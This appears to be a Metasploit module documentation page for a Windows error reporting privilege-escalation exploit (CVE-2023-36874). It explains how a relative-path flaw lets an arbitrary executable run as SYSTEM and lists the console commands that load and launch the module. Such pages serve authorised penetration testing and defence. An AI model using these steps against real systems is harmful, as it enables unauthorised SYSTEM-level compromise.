This module takes advantage of a bug in the way Windows error reporting opens the report parser. If you open a report, Windows uses a relative path to locate the rendering program. By creating a specific alternate directory structure, we can coerce Windows into opening an arbitrary executable as SYSTEM. If the current user is a local admin, the system will attempt impersonation and the exploit will fail.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/local/win_error_cve_2023_36874
msf exploit(win_error_cve_2023_36874) > show targets
...targets...
msf exploit(win_error_cve_2023_36874) > set TARGET < target-id >
msf exploit(win_error_cve_2023_36874) > show options
...show and set options...
msf exploit(win_error_cve_2023_36874) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security